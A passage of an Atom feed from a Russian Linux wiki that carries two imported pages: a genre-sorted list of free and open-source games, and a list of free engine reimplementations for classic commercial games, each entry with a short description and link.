&lt;br /&gt;
[[Category:Мнение]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D1%8B%D1%85_%D0%B8%D0%B3%D1%80&amp;diff=369</id>
		<title>Список свободных игр</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D1%8B%D1%85_%D0%B8%D0%B3%D1%80&amp;diff=369"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Sandbox==&lt;br /&gt;
* [http://minetest.net Minetest] —  компьютерная игра с видом от первого лица, в которой всё построено из кубов, которые используют текстуры с низким разрешением (16×16 текселей) с которыми и взаимодействует игрок. Суть игры состоит в том, чтобы строить всё, что душа пожелает. Minetest это, по сути, открытый клон игры [http://www.minecraft.net/ Minecraft].&lt;br /&gt;
* [http://freeminer.org/ FreeMiner] — форк Minetest с серьёзными улучшениями в плане производительности.&lt;br /&gt;
* [http://voxelands.com/ Voxelands] — форк Minetest ветки 0.3, в отличие от Minetest и FreeMiner ориентирован на геймплей, а не на создание платформы для моддинга, благодаря чему готова для игры «из коробки». В игре присутствуют несколько сотен блоков, животные, фарминг и различные механизмы.&lt;br /&gt;
&lt;br /&gt;
==RPG &amp;amp; Hack and slash==&lt;br /&gt;
===Обычные===&lt;br /&gt;
* [http://www.freedroid.org/ FreedroidRPG] — постапокалиптическая RPG, где идёт война между людьми и машинами с киберпингвином Тux'ом в главной роли.   &lt;br /&gt;
===Hack'n'Slash===&lt;br /&gt;
* [http://www.clintbellanger.net/rpg/ Flare] — игра жанров RPG и Hack and slash, схожа с Diablo.&lt;br /&gt;
* [http://naev.org/ Naev] — игра про торговлю и бои на кораблях в двухмерном космосе.&lt;br /&gt;
===Roguelike===&lt;br /&gt;
* [http://crawl.develz.org/ Dungeon Crawl: Stone Soup] — рогалик, в котором надо добраться до конца подземелья и добыть артефакт Orb of Zot.&lt;br /&gt;
* [http://en.cataclysmdda.com/ Cataclysm DDA] — рогалик про выживание в зомби-апокалипсисе.&lt;br /&gt;
* [http://rephial.org/ Angband] — культовый рогалик, породивший множество форков.&lt;br /&gt;
* [http://www.nethack.org/ NetHack] — простой и ненапряжный Hack'n'Slash рогалик.&lt;br /&gt;
===MMORPG===&lt;br /&gt;
* [https://www.themanaworld.org/ The Mana World] — свободная 2D-MMORPG (с видом сверху), разворачивающяся в вымышленном фэнтезийном мире. Помимо официального, имеет улучшенный клиент [http://manaplus.org/ ManaPlus].&lt;br /&gt;
&lt;br /&gt;
==Симуляторы и гонки==&lt;br /&gt;
* [http://www.flightgear.org/ FlightGear] — открытый проект по созданию свободного авиасимулятора.&lt;br /&gt;
* [http://www.heptargon.de/gl-117/gl-117.html GL-117] — симулятор управления боевым самолётом.&lt;br /&gt;
* [http://supertuxkart.sourceforge.net/ SuperTuxKart] — аркадная гонка с участием Tux'а.&lt;br /&gt;
* [http://torcs.sourceforge.net/ The Open Racing Car Simulator] — свободная гоночная видеоигра с трёхмерной графикой.&lt;br /&gt;
* [http://tuxracer.sourceforge.net/ Tux Racer] — игра, смысл которой пройти трассу, управляя скользящим пингвином.&lt;br /&gt;
* [http://dustrac.sourceforge.net/ Dust Racing 2D] — двухмерная гоночная игра с видом сверху и редактором трасс.&lt;br /&gt;
&lt;br /&gt;
==Стратегии==&lt;br /&gt;
===В реальном времени===&lt;br /&gt;
* [http://play0ad.com/ 0 A.D.] — стратегия в реальном времени, освещающая период от 500 лет до н. э. и 500 лет н. э. Игра до сих пор имеет статус альфа-версии, хотя за 2010-2013 годы было выпущено более дюжины промежуточных релизов.&lt;br /&gt;
* [http://glest.org Glest] — стратегия в реальном времени с трёхмерной графикой, аналог игр типа Stronghold.&lt;br /&gt;
* [https://megaglest.org/ MegaGlest] — форк Glest с новыми фракциями и юнитами.&lt;br /&gt;
* [http://www.unknown-horizons.org/ Unknown Horizons] — экономическая стратегия в реальном мире, в чём-то похожая на игры серий ''The Settlers'' или ''Caesar'', с достаточно хорошей графикой. Вы управляете группой переселенцев, решивших обосноваться на острове, и ваша задача — превратить небольшое поселение в большой город или даже создать небольшое государство.&lt;br /&gt;
* [http://zero-k.info/ Zero-K] — стратегия в реальном времени на движке [http://springrts.com/ Spring].&lt;br /&gt;
* [https://wl.widelands.org/ Widelands] — стратегия в реальном времени по созданию инфраструктуры и устойчивой экономики. Игровым процессом и некоторыми идеями похожа на The Settlers и The Settlers II. Игрушка достаточно стабильная. Проект живой.&lt;br /&gt;
* [https://github.com/lincity-ng/lincity-ng/ Lincity-ng] — стратегия-симулятор города по построению стабильной экономики.&lt;br /&gt;
* [https://wz2100.net/ Warzone 2100] — пост-апокалиптическая стратегия реального времени с возможностью проектировать юниты.&lt;br /&gt;
* [http://globulation2.org/wiki/Main_Page Globulation 2] — RTS в фантастическом сеттинге с непрямым управлением.&lt;br /&gt;
===Пошаговые===&lt;br /&gt;
* [http://wesnoth.org/ Battle for Wesnoth (Битва за Веснот)] — Пошаговая РПГ/Стратегия с большим количеством сценариев и кампаний. Имеет двухмерную графику с качественной прорисовкой. Является одной из наиболее доработанных и известных свободных игр — во многом благодаря большому количеству возможностей для создания своих карт, что привлекает дизайнеров уровней. В результате игра имеет большое количество длинных и законченных кампаний по умолчанию, а также большое количество аддонов. По Весноту даже проводятся чемпионаты. Основной сеттинг — фэнтези-мир собственной разработки.&lt;br /&gt;
* [http://freeciv.org FreeCiv] — пошаговая стратегия, свободный аналог Civilization. Вашей империи предстоит пройти через всю историю человеческой цивилизации: от каменного века до космической эры.&lt;br /&gt;
* [http://ufoai.ninex.info UFO:AI] — стратегия в духе X-COM. Имеет два основных режима. В пошаговом тактическом режиме отряд ваших десантников истребляет экипажи приземлившихся НЛО. В стратегическом режиме вы развиваете базы, закупаете вооружения, проводите научные исследования и сбиваете корабли инопланетян.&lt;br /&gt;
* [http://triplea.sourceforge.net TripleA] — пошаговая стратегия, свободная компьютерная версия настольной игры Axis &amp;amp; Allies or Risk.&lt;br /&gt;
* [https://www.kde.org/applications/games/ksirk KsirK] — ещё один клон Risk, значительно упрощённый в сравнении с TripleA.&lt;br /&gt;
&lt;br /&gt;
==Платформеры==&lt;br /&gt;
* [http://www.teeworlds.com/ Teeworlds] — свободная компьютерная игра в жанре многопользовательского 2D шутера. В связи с особенностями физики имеет свой уникальный геймплей. Игра похожа на игры Worms, Counter-Strike 2D.&lt;br /&gt;
* [http://supertux.lethargik.org/ Super Tux] — своеобразная интерпретация Super Mario Brothers, где заместо Марио — маскот Linux — пингвин Tux.&lt;br /&gt;
* [http://stabyourself.net/mari0/ Mari0] — копия игры «Супербратья Марио» с порталами позаимствованными из игры Portal. Есть многопользовательский режим и редактор уровней. Игра создана на 2D-движке [https://love2d.org/ LÖVE]. Кроме того, команда [http://stabyourself.net/ Stabyourself.net] разработала ряд других свободных игр на движке LÖVE, среди которых: [http://stabyourself.net/orthorobot/ Ortho Robot], [http://stabyourself.net/nottetris2/ Not Tetris 2], [http://stabyourself.net/rimshot/ Rimshot], [http://stabyourself.net/notpacman/ Not Pacman] (в разработке) и [http://stabyourself.net/other/ другие].&lt;br /&gt;
* [http://www.secretmaryo.org/ Secret Maryo Chronicles] — красочный платформер в духе Super Mario World.&lt;br /&gt;
* [http://sourceforge.net/projects/opensyobon/ Open Syobon Action] — хардкорный платформер, сделанный так, чтобы максимально раздражать игрока.&lt;br /&gt;
* [http://sol.azurasun.com/ Sol] — платформер в стиле Марио. На сайте скачать дают за деньги, но при этом лицензия GPL.&lt;br /&gt;
&lt;br /&gt;
==Аркады==&lt;br /&gt;
* [http://www.hedgewars.org/ Hedgewars] — клон Worms с ёжиками. Активно развивается, есть много нового интересного оружия (включая порталган), новые режимы игры и некоторые другие нововведения в геймплей.&lt;br /&gt;
* [http://www.warmux.org/ WarMUX]&amp;lt;ref name=&amp;quot;broken-site&amp;quot;&amp;gt;Сайт не работает на момент написания&amp;lt;/ref&amp;gt; — ещё один клон Worms, вместо червяков различные существа-талисманы свободных проектов.&lt;br /&gt;
* [http://pingus.seul.org/ Pingus] — Клон игры Lemmings. Цель игрока — помочь глупым пингвинам, которые обычно просто идут вперёд, добраться до выхода, не погибнув.&lt;br /&gt;
* [http://www.ufoot.org/liquidwar/ Liquid War] — очень необычная аркадная игра с элементами стратегии. Вам необходимо, управляя небольшим количеством неизвестной субстанции, поглотить всю субстанцию своих соперников.&lt;br /&gt;
* [http://neverball.org Neverball] — аркадная игра про катание мячика, преодоление препятствий и сбор монеток.&lt;br /&gt;
* [http://xmoto.sourceforge.net X-Moto] — преодоление препятствий на мотоцикле. Свободный клон виндовой игрушки Elastomania.&lt;br /&gt;
* [http://fretsonfire.sourceforge.net Frets on Fire] — музыкальная игра, в которой надо вовремя тыкать кнопки, подражая игре на гитаре. Клон Gitar Hero. Сообществом созданы тысячи треков, которые можно сыграть, начиная от классики рока, заканчивая брутальным дэт-металом.&lt;br /&gt;
&lt;br /&gt;
==Логические==&lt;br /&gt;
* [http://fillets.sourceforge.net Fish Fillets NG] — забавная игра про двух рыб. Основная задача — добраться до выхода уровня.&lt;br /&gt;
* [http://www.frozen-bubble.org Frozen Bubble] — логическая игра с разноцветными шариками.&lt;br /&gt;
* [http://www.artsoft.org/rocksndiamonds Rocks'n'Diamonds] — игра в духе Boulder Dash.&lt;br /&gt;
&lt;br /&gt;
==Шутеры==&lt;br /&gt;
* [http://red.planetarena.org/ Alien Arena] — созданная на движке от Id Software игра, объединяющая в себе элементы Unreal Tournament, Quake и Doom.&lt;br /&gt;
* [http://cubeengine.com/cube.php4 Cube] — альтернатива Quake I/II.&lt;br /&gt;
* &amp;lt;span id=&amp;quot;openarena&amp;quot;&amp;gt;[http://openarena.ws/ Open Arena]&amp;lt;/span&amp;gt; — шутер от первого лица, созданный на базе движка Quake III Arena.&lt;br /&gt;
* [http://www.redeclipse.net/ Red Eclipse ] — сетевой шутер основанный на движке Cube Engine 2. Имеет некоторый намек на паркур.&lt;br /&gt;
* [http://sauerbraten.org/ Sauerbraten] — Quake-style шутер на Cube 2.&lt;br /&gt;
* [http://tremulous.net/ Tremulous] — многопользовательская компьютерная игра, смесь жанров 3D-action (FPS) и стратегии реального времени (RTS). Игра работает на базе игрового движка Quake III.&lt;br /&gt;
* [http://www.urbanterror.info/ Urban Terror] — компьютерная игра в жанре шутер от первого лица, созданная на базе движка Quake III Arena. Особенностью игры является ориентированность на командную игру и паркур.&lt;br /&gt;
* [http://www.warsow.net/ Warsow] — сетевой шутер от первого лица, геймплей которого представляет собой смесь Unreal Tournament и Quake.&lt;br /&gt;
* [http://www.xonotic.org/ Xonotic] — шутер от первого лица работающий на игровом движке DarkPlaces — переработанной версии движка Quake. Форк ныне не развивающегося [http://www.nexuiz.com/classic.php Nexuiz]'a.&lt;br /&gt;
* [http://www.truecombatelite.com/index.php?page=news TrueCombat:Elite] — сетевой шутер аля Counter-Strike.&lt;br /&gt;
* [http://assault.cubers.net/ AssaultCube] — 3D-шутер в реальном (не фантастическом) сеттинге, имеется режим игры по сети.&lt;br /&gt;
* [http://www.asahi-net.or.jp/~cs8k-cyu/windows/tt_e.html Torus Trooper] — 3D-скроллшутер с очень скоростным геймплеем. Игрок перемещается по треку спиралевидной формы и уничтожает врагов на своём пути (уворачиваясь от их снарядов, конечно); время на прохождение каждого уровня ограничено.&lt;br /&gt;
&lt;br /&gt;
==Визуальные новеллы и текстовые квесты==&lt;br /&gt;
* [http://www.katawa-shoujo.com/ Katawa Shoujo] — главный герой переносит сердечный приступ, после чего попадает в школу-интернат для инвалидов, в которой и разворачивается действие этой новеллы. На её протяжении главный герой должен будет (при удачном раскладе) завязать отношения с одной из девушек школы; игра содержит эротику (отключаемую).&lt;br /&gt;
* [http://instead.syscall.ru/ Instead] — движок текстовых квестов. Со списком игр можно ознакомиться [http://instead-games.ru/ здесь] и [http://instead.syscall.ru/games/ здесь].&lt;br /&gt;
&lt;br /&gt;
==Примечания==&lt;br /&gt;
[[Категория:Игры]]&lt;br /&gt;
[[Категория:Списки]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D1%8B%D1%85_%D0%B4%D0%B2%D0%B8%D0%B6%D0%BA%D0%BE%D0%B2_%D0%B4%D0%BB%D1%8F_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%B8%D0%B3%D1%80&amp;diff=367</id>
		<title>Список свободных движков для классических игр</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D1%8B%D1%85_%D0%B4%D0%B2%D0%B8%D0%B6%D0%BA%D0%BE%D0%B2_%D0%B4%D0%BB%D1%8F_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%B8%D0%B3%D1%80&amp;diff=367"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Этот список содержит свободные движки для изначально коммерческих игр. Для использования такого движка вам понадобятся ресурсы из оригинальной игры (подойдёт любая, в том числе виндовая версия), то есть, игру всё равно придётся покупать. Свободные движки, как правило сначала воссоздают в точности оригинальную игру, а затем начинают добавлять новые фичи, например для старых игр будет актуальной поддержка более высоких разрешение экрана, плюс, как правило добавляется или улучшается возможность моддинга. Иногда эти процессы происходят одновременно. В некоторых случаях после доведения свободного движка до совершенства к нему делаются с нуля свободные ресурсы. В таком случае можно играть и без покупки оригинальной игры, ведь получилась по сути совершенно новая игра со свободным движком и ресурсами. Примером такого может служить OpenTTD. Некоторые из приведённых здесь свободных движков могут быть ещё в активной разработке и пока не воссоздают всех функций оригинальной игры, придётся подождать их завершение, или самому помочь в разработке.&lt;br /&gt;
&lt;br /&gt;
==Стратегии==&lt;br /&gt;
===Пошаговые===&lt;br /&gt;
*[https://sourceforge.net/projects/openkb/ openKB] — движок для '''King's Bounty''' — идейного прародителя Heroes of Might &amp;amp; Magic, Warlords, Disciples, Age of Wonders.&lt;br /&gt;
*[http://sourceforge.net/projects/fheroes2/ FHeroes2] — '''Heroes of Might &amp;amp; Magic 2''' — прошёл 2 больших карты против AI, всё вполне работоспособно, быстро, красиво, поддерживается вся серия HOMM2, смена разрешений, в настройках можно добавлять плюшки из HOMM3.&lt;br /&gt;
*[http://forum.vcmi.eu/portal.php VCMI] — '''Heroes of Might &amp;amp; Magic 3''' — играл против AI, тестировал новые версии движка, исправлял баги, добавлял города. Поддерживаются WOG и ERA, но можно играть и на чистых HOMM3 (поддерживается вся серия). Также много плюшек, новых артефактов, городов, юнитов, героев, смена разрешений и другие вкусности.&lt;br /&gt;
*[http://openxcom.org/ OpenXcom] — SDL‐движок для '''UFO: Enemy Unknown''' — всё работает, с каждой новой версией всё лучше. Также с версии 1.0 заявляется полная поддержка первой части и фокус разработки сместился в сторону поддержки продолжения — X-COM: Terror From The Deep.&lt;br /&gt;
*[https://bitbucket.org/gennady/ja2-stracciatella JA2-Stracciatella] — '''Jagged Alliance 2'''. Несмотря на периодические приостановки, проект до сих пор жив и недавно снова вошёл в активную фазу.&lt;br /&gt;
===В реальном времени===&lt;br /&gt;
*[http://arescentral.org/antares/ Antares] — движок для космической стратегии '''Ares'''. Трепещите, латентные, активные и пассивные любители Macintosh, игра изначально разрабатывалась исключительно под эту платформу.&lt;br /&gt;
*[http://dunelegacy.sourceforge.net/website/ Dune Legacy] — '''Dune 2''' — прошёл несколько миссий за разные дома, играл скирмиши, всё прекрасно работает. Движок вполне современный, взято много идей из последующих игр серии, например выделение множества объектов, очереди строительства, векторы движения, естественно, есть смена разрешений и куча приятных настроек. Также поддерживаются моды.&lt;br /&gt;
*[https://launchpad.net/war1gus/ War1gus] — движок для '''Warcraft I''', основан на [https://launchpad.net/stratagus/ Stratagus].&lt;br /&gt;
*[https://launchpad.net/wargus Wargus] и [https://launchpad.net/tales/ Aleona's Tales] — свободный движок для '''Warcraft II''' и свободные ресурсы (можно играть и с оригинальными) — тоже вполне играбельно и удобно, основа движка — [https://launchpad.net/stratagus/ Stratagus], возможность выделять множество объектов, векторы движения, разные разрешения…&lt;br /&gt;
*[https://launchpad.net/stargus/ Stargus] — движок для '''Starcraft I''', основан на [https://launchpad.net/stratagus/ Stratagus].&lt;br /&gt;
*[http://www.openra.net/ OpenRA] — модифицированный движок для '''Red Alert''', '''Command &amp;amp; Conquer''' и '''Dune 2000''' (Mono).&lt;br /&gt;
*[https://code.google.com/p/openredalert/ OpenRedAlert] — движок для '''Red Alert 1''', написанный на C++, в отличие OpenRA (Mono). К сожалению, больше не развивается (с 2010 года).&lt;br /&gt;
*[http://7kfans.com/ 7KAA] — движок для своеобразной стратегии '''Seven Kingdoms'''.&lt;br /&gt;
*[http://freesynd.sourceforge.net/ FreeSynd] — '''Syndicate''' — тоже вполне играбельно, наконец‐то починили радар.&lt;br /&gt;
*[http://swars.vexillium.org/ Syndicate Wars Port] — движок для '''Syndicate Wars''', продолжения Syndicate.&lt;br /&gt;
*[http://openage.sft.mx/ OpenAge] — движок для '''Age of Empires II'''. Проект на начальной стадии, ещё сырой. Разработчики пока толком не определились с технологиями, хотят для спрайтовой двухмерной графики задействовать OpenGl и шейдеры.&lt;br /&gt;
*[http://zod.sourceforge.net/ Zod Engine] — движок для уникальной стратегии '''Z'''.&lt;br /&gt;
&lt;br /&gt;
===Экономические===&lt;br /&gt;
*[https://code.google.com/p/micropolis/ Micropolis] — Швободный движок для '''SimCity'''.&lt;br /&gt;
*[http://www.openttd.org/en/ OpenTTD] — свободный движок для '''Transport Tycoon Deluxe''' и свободная графика и звуки.&lt;br /&gt;
*[https://github.com/CorsixTH/CorsixTH CorsixTH] и [https://github.com/CorsixTH/CorsixTH-Graphics CorsixTH-Graphics] — движок для симулятора больницы '''Theme Hospital''' и набор новой свободной графики.&lt;br /&gt;
*[https://bitbucket.org/dalerank/caesaria/wiki/Home CaesarIA] — симулятор Римской Империи и Цезаря в частности '''Caesar III'''.&lt;br /&gt;
*[http://jonls.dk/freeserf/ Freeserf] — SDL‐движок для классического симулятора поселенцев '''The Settlers 1 «Serf City»'''.&lt;br /&gt;
*[http://www.siedler25.org/ Return to the Roots] — OpenGL‐движок для для классического симулятора поселенцев '''The Settlers II Gold Edition'''.&lt;br /&gt;
&lt;br /&gt;
==RPG==&lt;br /&gt;
*[http://www.gemrb.org/wiki/doku.php?id=start GemRB] — движок для '''Baldur's Gate''', '''Icewind Dale''' и '''Planescape: Torment'''. Вполне рабочий, протестирован почти весь Baldur's Gate.&lt;br /&gt;
*[http://pentagram.sourceforge.net/ Pentagram] — движок для '''Ultima VIII''' с поддержкой разных разрешений, разных звуковых систем, миникарты, TrueType.&lt;br /&gt;
*[http://exult.sourceforge.net/ Exult] — движок для '''Ultima VII''' с поддержкой разных разрешений, разных звуковых систем, статусбаров, Exult Studio для разработки своих игр.&lt;br /&gt;
*[http://nuvie.sourceforge.net/ Nuvie] — движок для '''Ultima VI'''.&lt;br /&gt;
*[http://xu4.sourceforge.net/ XU4] — движок для '''Ultima IV''' с поддержкой VGA и 16-bit графики, смешивание заклинаний как в Ultima V.&lt;br /&gt;
*[https://openmw.org/en/ OpenMW] — '''The Elder Scrolls III: Morrowind'''. Проект активно развивается, добавляется новый функционал, поддержка модификаций, но на данном этапе поиграть пока не удастся.&lt;br /&gt;
*[http://www.karlin.mff.cuni.cz/~benes/lotr/ Lord of the Rings game engine] — движок для ролевой игры '''Lord of the Rings'''.&lt;br /&gt;
*[http://arx-libertatis.org/ Arx Libertatis] — движок для трёхмерной ролевой игры '''Arx Fatalis'''.&lt;br /&gt;
*[https://falltergeist.org/ Falltergeist] — свободный движок для '''Fallout 1 и 2''', разрабатываемый на C++ с использованием SDL2. Проект на начальной стадии, но активно развивается.&lt;br /&gt;
*[http://xbak.sourceforge.net/ xBaK] — движок для уникальной для своего времени ролевой игры '''Betrayal at Krondor'''. Относительно играбельно, но некоторых важных функций может не оказаться. Проект, к сожалению, заброшен. Форкайте, господа, пилите для [http://scummvm.org/ ScummVM].&lt;br /&gt;
*[http://freeablo.org/ freeablo] — свободный движок для '''Diablo 1''' с использованием SDL2. Проект на начальной стадии, готов начальный посёлок с нейтральными персонажами и пара случайно генерируемых подземных уровней.&lt;br /&gt;
*[https://sourceforge.net/projects/abysmal/ Abysmal Engine] — движок для '''System Shock 1''' и '''Ultima Underworld'''. Проект жив, потихоньку развивается.&lt;br /&gt;
&lt;br /&gt;
==Шутеры==&lt;br /&gt;
*[http://maniacsvault.net/ecwolf/ ECWolf] — модернизированный движок для '''Wolfenstein 3D''', '''Spear of Destiny''' и '''Super 3D Noah's Ark''', основанный на кодах Wolf4SDL и ZDoom.&lt;br /&gt;
*[https://github.com/bibendovsky/bstone bstone] — движок для стрелялки от первого лица '''Blake Stone: Planet Strike'''.&lt;br /&gt;
*[http://cytadela.sourceforge.net/ Cytadela] — движок для '''Cytadela''', стрелялки от первого лица для Amiga.&lt;br /&gt;
*[http://icculus.org/rott/ Rise of the Triad] — движок для уникальной для своего времени игры '''Rise of the Triad''', основанной на сильно модифицированном движке для Wolfenstein 3D.&lt;br /&gt;
*[http://www.zdoom.org ZDoom] и [https://freedoom.github.io/ FreeDoom] — Шмодифицированный и современный движок для '''Doom''', '''Doom 2''', '''Heretic''', '''HeXen''', '''Strife''' и свободные ресурсы. Множество улучшений: свободный обзор, прицел, приседания и прыжки, объекты больше не имеют бесконечную высоту, высокое разрешение. Также есть замечательный мод [http://www.moddb.com/mods/brutal-doom BrutalDoom], привносящий моря кровищщи, горы кишок и ультранасилие.&lt;br /&gt;
*[http://www.osnanet.de/c.oelckers/gzdoom/ GZDoom] — OpenGL‐форк ZDoom.&lt;br /&gt;
*[http://dengine.net/ Doomsday] — модифицированный OpenGL‐движок для '''Doom I&amp;amp;2''', '''Heretic''', '''Hexen''', '''HacX''', '''Chex''' с поддержкой трёхмерных моделей вместо спрайтов.&lt;br /&gt;
*[http://sc2.sourceforge.net/ uHexen2] — SDL/OpenGL движок для '''Hexen II: Hammer of Thyrion'''.&lt;br /&gt;
*[http://icculus.org/twilight/darkplaces/ DarkPlaces] и [http://qrp.quakeone.com/ Quake Revitalization Project] — модифицированный OpenGL‐движок для '''Quake I''' и обновлённые текстуры.&lt;br /&gt;
*[http://www.yamagi.org/quake2/ Yamagi Quake II] — модифицированный движок для '''Quake II''', также поддерживает дополнения Mission Pack 1 «The Reckoning» и  Mission Pack 2 «Ground Zero».&lt;br /&gt;
*[http://ioquake3.org/ ioquake3] — модифицированный движок для '''Quake III'''.&lt;br /&gt;
*[http://www.eduke32.com/ Eduke32] и [http://hrp.duke4.net/ HRP] — Шмодифицированный SDL/OpenGL движок для '''Duke Nukem 3D''' (свободный обзор, прицел, прыжки, приседания, высокое разрешение) и набор свободных трёхмерных текстур. Протестирован весь Дюк с трёхмерными текстурами и продвинутой отрисовкой Polymer.&lt;br /&gt;
*[https://code.google.com/p/erampage/wiki/MainPage eRampage] — движок для стрелялок '''Redneck Rampage''', Suckin' Grits on Route 66, Redneck Rampage Rides Again и Redneck Deer Huntin'. Основан на [http://eduke32.com/ EDuke32].&lt;br /&gt;
*[http://m210.duke4.net/ BloodCM] и [http://sta.sh/017tdnr0iuad HRP for BloodCM] — '''Blood''' на движке [http://eduke32.com/ EDuke32] и текстуры в высоком разрешении. Готовы два эпизода игры, третий в разработке.&lt;br /&gt;
*[http://source.bungie.org/ Aleph One] — модифицированный движок для '''Marathon''', '''Marathon 2: Durandal''' и '''Marathon Infinity'''. Также сообществом разработаны новые игры Marathon: EVIL, Tempus Irae, Marathon RED, Marathon: Eternal, Marathon: Rubicon X, Marathon: Phoenix. Ещё есть отдельная игра [http://www.excaliburworld.com/emr/emr3/ Excalibur: Morgana's  evenge]. Эти игры особенно придутся по душе латентным, активным и пассивным любителям Macintosh, ибо изначально Marathon разрабатывался исключительно под эту платформу.&lt;br /&gt;
*[http://xash3d.ru/doku.php Xash3D] — свободный движок для '''Half⁠‐⁠Life''' (аналог GoldSource).&lt;br /&gt;
*[https://github.com/Blzut3/CatacombSDL CatacombSDL] — SDL2‐движок для фентези‐стрелялки '''Catacomb II'''.&lt;br /&gt;
*[http://etlegacy.com/ ET: Legacy] — модифицированный движок для многопользовательской игры '''Wolfenstein: Enemy Territory'''.&lt;br /&gt;
*[http://zandronum.com Zandronum] — движок для старых игр на базе id Tech 1 ('''HeXen''', '''Heretic''', '''Doom''', '''Strife'''). Упор на многопользовательскую игру.&lt;br /&gt;
&lt;br /&gt;
==Леталки==&lt;br /&gt;
*[http://www.descent2.de/ D2X-XL] — OpenGL движок для трёхмерной леталки‐стрелялки '''Descent'''. Также разработан редактор уровней DLE.&lt;br /&gt;
*[http://www.dxx-rebirth.com/ DXX-Rebirth] — SDL/OpenGL движок для трёхмерных леталок‐стрелялок '''Descent 1 и 2'''.&lt;br /&gt;
*[http://forsakenx.github.io/ ForsakenX] — движок для трёхмерной леталки‐стрелялки '''Forsaken''', клона Descent.&lt;br /&gt;
&lt;br /&gt;
==Квесты==&lt;br /&gt;
*[http://scummvm.org/ ScummVM] — набор свободных движков в основном для игр в жанре quest (приключение), например от Lucas Arts, Sierra, Westwood, Coktel Vision, The Neverhood Inc., The Dreamers Guild, Revolution Software, Psygnosis, Infocom, Delphine Software International, Adventure Soft, также и для некоторых ролевых игр: Eye of the Beholder I&amp;amp;II, Lands of Lore: The Throne of Chaos. На данном этапе ведутся работы по поддержке таких замечательных игр, как '''Myst''', '''Riven: The Sequel to Myst''', '''Gabriel Knight''', '''Gabriel Knight 2: The Beast Within''', '''King's Quest VII''', '''Phantasmagoria I&amp;amp;II''', '''Police Quest IV''', '''Police Quest: SWAT''', '''Quest for Glory IV''', '''Space Quest 6: The Spinal Frontier''', '''Leisure Suit Larry 7''', '''Broken Sword 2.5''' и многих других…&lt;br /&gt;
*[http://www.residualvm.org/ ResidualVM] — движки для трёхмерных игр '''Grim Fandango''' и '''Escape from Monkey Island''' от Lucas Arts, также добавлена поддержка для '''Myst 3 Exile'''. Для Grim Fandango разработан [http://forums.residualvm.org/viewtopic.php?f=1&amp;amp;t=623 «point &amp;amp; click интерфейс»].&lt;br /&gt;
*[http://cyxdown.free.fr/igor/ Igor] — SDL‐движок для испанского квеста '''Igor: Objetivo Uikokahonia'''.&lt;br /&gt;
&lt;br /&gt;
==Симуляторы==&lt;br /&gt;
*[http://scp.indiegames.us/ FS2Open] — движок для космического симулятора '''FreeSpace 2'''. Также есть [http://fsport.hard-light.net/website fsport] — адаптация кампаний FreeSpace 1 для FS2Open.&lt;br /&gt;
*[http://sdl-sopwith.sourceforge.net/index.shtml SDL Sopwith] — SDL/GTK+ движок для классического аркадного авиасимулятора '''Sopwith'''.&lt;br /&gt;
*[http://www.ultimatestunts.nl/index.php?page=0&amp;amp;lang=en Ultimate Stunts] — OpenGL движок для классического гоночного симулятора '''Stunts'''.&lt;br /&gt;
&lt;br /&gt;
==Платформеры, аркады==&lt;br /&gt;
*[http://abuse.zoy.org/ Abuse] — аркадная стрелялка‐латформер, сюжет вдохновлён вариациями на тему «Хищник против Чужих». Движок использует отрисовку через SDL или OpenGL (на выбор), работает на 32‐bit и 64‐bit платформах. К игре прилагаются освобождённые ресурсы.&lt;br /&gt;
*[https://sourceforge.net/projects/newraw/ New RAW] — интерпретатор для аркадной игры '''Another World'''.&lt;br /&gt;
*[http://cyxdown.free.fr/bs/ Bermuda Syndrome] — SDL‐движок для аркадного приключения '''Bermuda Syndrome'''.&lt;br /&gt;
*[http://cyxdown.free.fr/reminiscence/ REminiscence] — SDL‐движок для аркадного приключения '''Flashback'''.&lt;br /&gt;
*[http://cyxdown.free.fr/f2b/ f2bgl] — SDL/OpenGL‐движок для трёхмерного приключения '''Fade To Black'''.&lt;br /&gt;
*[http://cyxdown.free.fr/carlos/ Carlos] — SDL‐движок для платформера '''Carlos'''.&lt;br /&gt;
*[http://nxengine.sourceforge.net/ NXEngine] — SDL‐движок для платформера '''Doukutsu Monogatari''' (также известного как '''Cave Story''').&lt;br /&gt;
*[http://clonekeenplus.sourceforge.net/ Commander Genius] — движок для серии платформеров '''Commander Keen'''.&lt;br /&gt;
&lt;br /&gt;
==Разное==&lt;br /&gt;
*[http://sc2.sourceforge.net/ The Ur-Quan Masters] и [https://sourceforge.net/projects/urquanmastershd/ Ur-Quan Masters HD] — движок для космического аркадного ролевого стратегического квеста '''Star Control II''' и текстуры в высоком разрешении.&lt;br /&gt;
*[https://github.com/JACoders/OpenJK OpenJK] — движок для '''Jedi Knight II: Jedi Outcast''' и '''Jedi Knight III: Jedi Academy''' с минимальными измененями, максимально близкий к оригинальному.&lt;br /&gt;
*[https://github.com/xLAva/JediOutcastLinux JediOutcastLinux] — ещё один движок для '''Jedi Knight II: Jedi Outcast'''.&lt;br /&gt;
